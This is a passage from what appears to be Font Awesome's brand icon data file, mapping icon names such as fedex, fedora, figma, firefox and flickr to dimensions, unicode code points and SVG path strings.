	"fantasy-flight-games": [512, 512, [], "f6dc", "M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z"],
	"fedex": [640, 512, [], "f797", "M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z"],
	"fedora": [448, 512, [], "f798", "M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z"],
	"figma": [384, 512, [], "f799", "M277 170.7A85.35 85.35 0 0 0 277 0H106.3a85.3 85.3 0 0 0 0 170.6 85.35 85.35 0 0 0 0 170.7 85.35 85.35 0 1 0 85.3 85.4v-256zm0 0a85.3 85.3 0 1 0 85.3 85.3 85.31 85.31 0 0 0-85.3-85.3z"],
	"firefox": [512, 512, [], "f269", "M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z"],
	"firefox-browser": [512, 512, [], "e007", "M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z"],
	"first-order": [448, 512, [], "f2b0", "M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z"],
	"first-order-alt": [496, 512, [], "f50a", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z"],
	"firstdraft": [384, 512, [], "f3a1", "M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z"],
	"flickr": [448, 512, [], "f16e", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z"],
	"flipboard": [448, 512, [], "f44d", "M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z"],
	"fly": [384, 512, [], "f417", "M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z"],
	"font-awesome": [448, 512, [], "f2b4", "M397.8 32H50.2C22.7 32 0 54.7 0 82.2v347.6C0 457.3 22.7 480 50.2 480h347.6c27.5 0 50.2-22.7 50.2-50.2V82.2c0-27.5-22.7-50.2-50.2-50.2zm-45.4 284.3c0 4.2-3.6 6-7.8 7.8-16.7 7.2-34.6 13.7-53.8 13.7-26.9 0-39.4-16.7-71.7-16.7-23.3 0-47.8 8.4-67.5 17.3-1.2.6-2.4.6-3.6 1.2V385c0 1.8 0 3.6-.6 4.8v1.2c-2.4 8.4-10.2 14.3-19.1 14.3-11.3 0-20.3-9-20.3-20.3V166.4c-7.8-6-13.1-15.5-13.1-26.3 0-18.5 14.9-33.5 33.5-33.5 18.5 0 33.5 14.9 33.5 33.5 0 10.8-4.8 20.3-13.1 26.3v18.5c1.8-.6 3.6-1.2 5.4-2.4 18.5-7.8 40.6-14.3 61.5-14.3 22.7 0 40.6 6 60.9 13.7 4.2 1.8 8.4 2.4 13.1 2.4 22.7 0 47.8-16.1 53.8-16.1 4.8 0 9 3.6 9 7.8v140.3z"],
	"font-awesome-alt": [448, 512, [], "f35c", "M339.3 171.2c-6 0-29.9 15.5-52.6 15.5-4.2 0-8.4-.6-12.5-2.4-19.7-7.8-37-13.7-59.1-13.7-20.3 0-41.8 6.6-59.7 13.7-1.8.6-3.6 1.2-4.8 1.8v-17.9c7.8-6 12.5-14.9 12.5-25.7 0-17.9-14.3-32.3-32.3-32.3s-32.3 14.3-32.3 32.3c0 10.2 4.8 19.7 12.5 25.7v212.1c0 10.8 9 19.7 19.7 19.7 9 0 16.1-6 18.5-13.7V385c.6-1.8.6-3 .6-4.8V336c1.2 0 2.4-.6 3-1.2 19.7-8.4 43-16.7 65.7-16.7 31.1 0 43 16.1 69.3 16.1 18.5 0 36.4-6.6 52-13.7 4.2-1.8 7.2-3.6 7.2-7.8V178.3c1.8-4.1-2.3-7.1-7.7-7.1zM397.8 32H50.2C22.7 32 0 54.7 0 82.2v347.6C0 457.3 22.7 480 50.2 480h347.6c27.5 0 50.2-22.7 50.2-50.2V82.2c0-27.5-22.7-50.2-50.2-50.2zm14.3 397.7c0 7.8-6.6 14.3-14.3 14.3H50.2c-7.8 0-14.3-6.6-14.3-14.3V82.2c0-7.8 6.6-14.3 14.3-14.3h347.6v-.1c7.8 0 14.3 6.6 14.3 14.3z"],
	"font-awesome-flag": [448, 512, [], "f425", "M444.373 359.424c0 7.168-6.144 10.24-13.312 13.312-28.672 12.288-59.392 23.552-92.16 23.552-46.08 0-67.584-28.672-122.88-28.672-39.936 0-81.92 14.336-115.712 29.696-2.048 1.024-4.096 1.024-6.144 2.048v77.824c0 21.405-16.122 34.816-33.792 34.816-19.456 0-34.816-15.36-34.816-34.816V102.4C12.245 92.16 3.029 75.776 3.029 57.344 3.029 25.6 28.629 0 60.373 0s57.344 25.6 57.344 57.344c0 18.432-8.192 34.816-22.528 45.056v31.744c4.124-1.374 58.768-28.672 114.688-28.672 65.27 0 97.676 27.648 126.976 27.648 38.912 0 81.92-27.648 92.16-27.648 8.192 0 15.36 6.144 15.36 13.312v240.64z"],
	"font-awesome-logo-full": [3992, 512, ["Font Awesome"], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"],
	"fonticons": [448, 512, [], "f280", "M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z"],
	"fonticons-fi": [384, 512, [], "f3a2", "M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z"],
	"fort-awesome": [512, 512, [], "f286", "M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z"],
